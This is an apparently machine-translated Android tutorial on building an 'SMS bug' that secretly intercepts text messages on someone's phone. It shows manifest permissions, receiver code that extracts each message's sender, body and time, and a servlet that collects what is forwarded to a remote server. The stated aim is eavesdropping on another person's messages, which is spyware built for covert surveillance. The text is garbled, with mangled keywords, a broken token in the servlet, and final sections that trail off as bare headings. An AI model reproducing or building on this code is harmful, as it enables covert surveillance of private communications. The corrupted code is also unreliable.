Android entry: Broadcast receiver application (SMS bug)

I. Introduction to the principle of text message listening the purpose of text message listening is to eavesdrop on text messages sent by someone. For example, we have installed this app on a's mobile phone and want to check the text message sent by B to;
How can we get short messages? If a message is sent to a third party via SMS, the message is displayed. Therefore, the message can be sent to the Web server over the network. The messaging application in the Android mobile phone is just a common application; ii. Core code Core code of the SMS listening Client

Add permissions to androidmanifest. xml:

<Uses-Permission Android: Name = "android. Permission. receive_sms"/> <! -- Receive SMS permission --> <uses-Permission Android: Name = "android. Permission. Internet"/> <! -- Network access permission -->

(1) object [] PDUS = (object []) intent. getextras (). Get ("PDUS"); get text message data

(2) byte [] PDU = (byte []) PDUS [0];

(3) smsmessage message = smsmessage. createfrompdu (PDU); encapsulate the byte array as smsmessage

(4) string content = message. getmessagebody (); get the text message content

(5) string date = new date (message. gettimestampmillis (). tolocalestring (); get sms time

(6) string sendernumber = message. getoriginatingaddress (); get the sender number

The server code only receives and displays parameters;

3. Code for text message listening

Server code

Package Org. xiazdong. servlet; import Java. io. ioexception; import javax. servlet. servletexception; import javax. servlet. annotation. webservlet; import javax. servlet. HTTP. httpservlet; import javax. servlet. HTTP. httpservletrequest; import javax. servlet. HTTP. httpservletresponse; @ webservlet ("/smsservlet") public class smsservlet extends httpservlet {protected void doget (httpservletrequest request, incluresponse) throws servletexception, ioexception {dopost (request, response );} protected void dopost (httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {request. setcharacterencoding ("UTF-8"); string sender = request. getparameter ("sender"); string body = request. getparameter ("body"); string time = request. getparameter ("time"); system. out. println ("Sender:" + sender); system. out. println ("sent content:" + body); system. out. println ("sending time:" + time );}}

1. Just get short messages

Androidmanifest. xml

2. Block text messages and send them to a third party.
